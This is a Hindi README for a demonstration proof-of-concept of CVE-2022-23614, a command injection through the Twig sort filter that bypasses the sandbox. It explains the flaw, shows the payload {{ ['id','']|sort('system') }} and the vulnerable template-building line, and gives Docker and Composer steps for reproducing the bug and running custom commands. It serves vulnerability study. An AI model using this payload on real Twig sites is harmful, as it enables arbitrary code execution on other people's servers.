
CVE-2022-23614 (Twig में कमांड इंजेक्शन) के लिए प्रूफ ऑफ कॉन्सेप्ट
CVE-2022-23614 के लिए प्रमाण की अवधारणा (PoC) जिसका उल्लेख DSA-5107-1 में किया गया है।
Twig PHP के लिए एक लचीला, तेज़ और सुरक्षित टेम्पलेट इंजन है। विशेष रूप से, रेंडर करने से पहले टेम्पलेट में फ़िल्टर का उपयोग करना संभव है। sort फ़िल्टर का उपयोग निम्नलिखित संरचना वाले सरणी के तत्वों को क्रमबद्ध करने के लिए किया जा सकता है:
{{ [5,8,2,3]|sort('desc') }}
Twig में अविश्वसनीय टेम्पलेट कोड का मूल्यांकन करने के लिए सैंडबॉक्स मोड है। जब इस सैंडबॉक्स मोड में हो, तो sort फ़िल्टर का arrow पैरामीटर एक क्लोज़र होना चाहिए ताकि हमलावर मनमानी PHP फ़ंक्शन चला सकने से बच सकें। प्रभावित संस्करणों में यह बाधा ठीक से लागू नहीं की गई थी और इससे मनमानी PHP कोड का कोड इंजेक्शन हो सकता था।
{{ ["id",""]|sort('system') }}
यह PoC दो अलग-अलग उपयोग मामलों में भेद्यता को दर्शाता है: या तो Debian php-twig (v2.14.1) पैकेज का उपयोग करके या Composer twig/twig (v2.14) मॉड्यूल का उपयोग करके।
index.php फ़ाइल पहले तर्क के आधार पर एक Twig टेम्पलेट तैयार करती है। निम्नलिखित कोड में, argv[1] सॉर्टिंग फ़ंक्शन का नाम है जिसका उपयोग Twig रेंडर करते समय करेगा।
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
फिर, index.php जनरेट किए गए टेम्पलेट को लोड करने के लिए Twig के दो पदावनत फ़ंक्शन का उपयोग करेगा। अंततः, यह दूसरे तर्क (argv[2]) का उपयोग टेम्पलेट में डेटा पास करने के लिए करता है जैसे वह रेंडर किया जा रहा है, विशेष रूप से args सरणी जिसे हम क्रमबद्ध करना चाहते हैं।
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
रेंडर किया गया टेम्पलेट फिर मानक आउटपुट में मुद्रित होता है।
कृपया ध्यान दें कि यह रिपॉजिटरी केवल प्रदर्शन उद्देश्यों के लिए बनाई गई थी। यह समझने में सरल और उपयोग में आसान होने के लिए है ताकि केवल कमांड लाइन इंटरफ़ेस का उपयोग करके CVE के साथ खेल सकें। यह वास्तविक कमजोर सर्वर पर मिलने वाली चीज़ों से काफी अलग है।
Docker का उपयोग करके, हम मूल Debian Security Advisory (DSA) के संदर्भ को पुनः बना सकते हैं। आप दी गई build-docker.sh स्क्रिप्ट का उपयोग करके कमजोर कंटेनर को ठीक से बना और चला सकते हैं।
chmod a+x build-docker.sh
./build-docker.sh
पेलोड निष्पादित होने के बाद कंटेनर को बंद हो जाना चाहिए (एक id कमांड)। यदि आप अपने स्वयं के कमांड आज़माना चाहते हैं, तो आप कंटेनर को इंटरैक्टिव मोड में चला सकते हैं:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
एक बार कंटेनर के अंदर, आप निम्नलिखित मॉडल का उपयोग करके अपना पेलोड तैयार कर सकते हैं:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
यह डॉकरफ़ाइल आंशिक रूप से DECRET का उपयोग करके बनाई गई थी।
यदि आपकी मशीन पर php और Composer पहले से स्थापित हैं, तो आप कमजोर Composer मॉड्यूल का उपयोग करके शोषण को दोहरा सकते हैं।
cd exploit
composer install
फिर आपको बस पेलोड के साथ खेलना होगा।
php index.php system '{"args":["id",""]}'
davwwwx द्वारा PoC (GUI का उपयोग करके): https://github.com/davwwwx/CVE-2022-23614